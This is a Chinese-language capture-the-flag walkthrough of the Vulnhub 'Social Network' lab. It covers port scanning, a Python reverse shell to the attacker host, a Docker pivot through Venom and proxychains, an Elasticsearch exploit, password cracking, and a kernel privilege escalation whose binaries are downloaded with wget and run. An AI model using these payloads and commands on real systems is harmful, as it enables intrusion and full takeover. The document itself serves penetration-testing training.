arp-scan -l nmap -p 1-65535 -A 192.168.128.140 发现的22 5000端口 通过服务级别的探测 nmap -p22,5000 -sV 192.168.128.140
发现一个信息:说明服务使用python的脚本编写 Werkzeug httpd 0.14.1 (Python 2.7.15) 知道一个网页,发现不到信息尝试进行目录扫描,使用工具dirb或者dirsearch dirsearch -u http://192.168.128.140:5000 dirb http://192.168.128.140:5000
这里是猜测是python代码利用点了,尝试python反弹shell的方法,kali监听nc -lvvp 4444
import socket,os,subprocess
RHOST='192.168.128.141' # Change it
RPORT=6666 # Change it
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) # 创建一个TCP-socket对象
s.connect((RHOST,RPORT)) # 连接攻击者
os.dup2(s.fileno(),0) # 复制链接符
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]) # 创建子进程调用SHELL
监听成功了就是root权限,显然有坑。这里有个Dockerfile,我们是处在docker环境中的,那么如何验证我们在docker容器中呢?
ls /.dockerenv
/proc/1/cgroup
cat /proc/1/cgroup
/proc是一个存储进程的文件夹
/proc/1 指的是操作系统加载时第一个进程,我们查看后可以发现docker,并且可以获取docker镜像的hash
怎么突破docker的环境呢?
通过命令ip a 或者ifconfig 知道它所在的docker的ip,这可以理解为是docker容器所处的内网网段
内网地址很多,不可能一个一个去ping,,直接使用脚本语言去ping
for i in $(seq 10); do ping -c 1 172.17.0.$i;done
本地是172.17.0.3,所以还有 .1 .2
因为内网环境,正常来说是不能直接使用kali的工具进行探测,因为根本没法通信
方法:使用venom工具
链接:https://pan.baidu.com/s/1sKmwhlW5kRR32Ri_KOqf2A
提取码:jj7c
将工具上传到靶机上面,靶机是什么版本的就上传什么版本的客户端,kali本地是服务端,
本地使用开启http服务,用靶机下载文件
python3 -m http.server 80
kali服务端开启监听端口:
靶机(客户端):
show显示当前代理节点,goto 1 进入刚才连接的靶机阶段,可以通过此代码与靶机的内网环境进行数据传输
创建好代理后,我们通过proxychains这个软件连接代理,使用它之前需要进行一些设置:输入vi /etc/proxychains4.conf
,修改socks代理的端口
socks5 127.0.0.1 1080
使用任何命令都需要加上proxychains nmap -Pn -sT 172.17.0.1
proxychains nmap 172.17.0.1-3 批量检测
浏览器想要访问内网,需要设置:访问172.17.0.1发现是一样的。说明了172.17.0.1就是192.168.128.140
对172.17.0.2扫描的结果:proxychains nmap -Pn -sT 172.17.0.2
对服务的扫描:proxychains nmap -Pn -sT -p9200 -sV 172.17.0.2
结果:9200/tcp open http Elasticsearch REST API 1.4.2 (name: Captain Omen; cluster: elasticsearch; Lucene 4.10.2)
使用msf的search功能,searchsploit Elasticsearch:查找利用工具
cp /usr/share/exploitdb/exploits/linux/remote/36337.py .
代码使用的python2 编写,执行脚本:
proxychains python2 36337.py 192.168.128.140
获得的新的root权限:同样处于容器中:查看password文件,解密就是 john 1337hack
经过尝试:只有john账号可以正常登录:ssh [email protected]
登录:无sudo权限
目标系统的版本3.13
searchsploit linux 3.13
找到了符合版本的exp,注意:凡是使用exp前,都需要查看exp的内容,.c 的源代码,需要进行编译,这里靶机是无编译环境的,尝试本地编译上传运行。
在37292.c 当中我们可以看到,定义了一个变量调用了system函数,通过函数执行了一条命令,而这条系统命令当中又再次调用了gcc生成一个动态链接库进行使用。了解到这一点后,我们就理清楚了,即使我们在本地进行编译后生成的二进制文件拿到宿主机上去运行,运行的时候它依旧会出错,那么怎么办呢?
比较方便的是直接在kali当中找到这个生成的二进制文件,然后直接修改源代码,让程序执行到这里的时候不再执行编译,直接调用二进制文件。
要执行这个文件还需要一个已经编译生成好的二进制库文件,寻找文件名为ofs-lib.so
的动态链接库,,直接使用locate ofs-lib.so
对文件进行定位,把这个库文件也依旧拷贝到当前目录下
然后通过wget把两个文件都放到john的/tmp目录下面,执行成功就是root权限。
gcc -o exp 37292.c
python3 -m http.server 80 开启服务
靶机下载文件wget http://192.168.128.141/exp
wget http://192.168.128.141/ofs-lib.so
靶机进入目录执行文件:
chmod +x exp
./exp
参考链接:Vulnhub | Social Network 渗透靶机 狐狸教程 (freeaihub.com)